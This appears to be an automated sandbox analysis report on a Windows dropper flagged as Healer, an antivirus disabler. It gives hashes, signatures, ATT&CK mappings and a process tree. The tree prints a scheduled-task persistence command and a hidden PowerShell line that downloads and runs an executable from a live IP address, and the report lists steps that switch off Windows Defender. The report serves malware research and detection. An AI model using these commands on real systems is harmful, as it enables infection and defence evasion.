Overview

overview

10

Static

static

5

MD250203AA...xx.exe

windows7-x64

10

MD250203AA...xx.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27/03/2025, 05:59

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General

  • Target

    MD250203AAAAU-000001_R1197_RANSOM_6415481494_94f5025565ef015551cba6496fff45e9xx.exe

  • Size

    938KB

  • MD5

    94f5025565ef015551cba6496fff45e9

  • SHA1

    b84200b92c5ea7aefec65f52720341d1678dd004

  • SHA256

    c5cd175304b9d1990a2a60a3e2ae06ea3875767af0761a33c2f4a93a6c490a70

  • SHA512

    e237e2c18fcf3f1982dd989395595fbb43f23b01c313e369cc09b558a6c62cb98914e921ebffba734a11216d72a14cc0544f042adcf0a0b3fd8141d27176343d

  • SSDEEP

    24576:yqDEvCTbMWu7rQYlBQcBiT6rprG8aegl:yTvC/MTQYxsWR7aeg

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MD250203AAAAU-000001_R1197_RANSOM_6415481494_94f5025565ef015551cba6496fff45e9xx.exe
    "C:\Users\Admin\AppData\Local\Temp\MD250203AAAAU-000001_R1197_RANSOM_6415481494_94f5025565ef015551cba6496fff45e9xx.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1288
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn MARgbmaSNYt /tr "mshta C:\Users\Admin\AppData\Local\Temp\rrGwcIVnW.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn MARgbmaSNYt /tr "mshta C:\Users\Admin\AppData\Local\Temp\rrGwcIVnW.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:1684
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\rrGwcIVnW.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'DWIFAJV7S7FM7NBPUFLSQQ6GDBYVUMAC.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Users\Admin\AppData\Local\TempDWIFAJV7S7FM7NBPUFLSQQ6GDBYVUMAC.EXE
          "C:\Users\Admin\AppData\Local\TempDWIFAJV7S7FM7NBPUFLSQQ6GDBYVUMAC.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

6
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\rrGwcIVnW.hta
    Filesize

    726B

    MD5

    b18905d041c8447f59f45a2fa2df5f66

    SHA1

    985ae34f4955671335ed923b6fcdb06856e0987d

    SHA256

    92ab1b86823aeb8417b10dec8763daf40489a728c5bfb5f345547adcff71899a

    SHA512

    8eda396f4e5889b16585e623894bd2591ce7b3b71a6287048c23f634f600ba72d2eed444ebe07d400b9633d53de673382c9c510b2df023bdf07d85ecd7cdd01d

    Download Submit

  • \Users\Admin\AppData\Local\TempDWIFAJV7S7FM7NBPUFLSQQ6GDBYVUMAC.EXE
    Filesize

    1.7MB

    MD5

    03a574d64f0e62c5e117a5f5acf137e4

    SHA1

    93ba2b5bdac91342c9eeaeaf3e44cc1793ee6d90

    SHA256

    dcc540b3c86a167bb0cf71e8d4598f7566fe0f625d64ffe7a37f0d5f502be747

    SHA512

    d1b76d82c522ccb157dcd5155011619b36baf3516cf08cb6bc98fb9bc009230e5c53d77f5d8adc0e85dde678b4b3542823919ee6490533df8250078caca1b9b1

    Download Submit

  • memory/1284-14-0x00000000064C0000-0x0000000006912000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/1284-13-0x00000000064C0000-0x0000000006912000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2984-15-0x00000000013E0000-0x0000000001832000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2984-16-0x00000000013E0000-0x0000000001832000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2984-17-0x00000000013E0000-0x0000000001832000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/2984-20-0x00000000013E0000-0x0000000001832000-memory.dmp

    Filesize

    4.3MB

    Download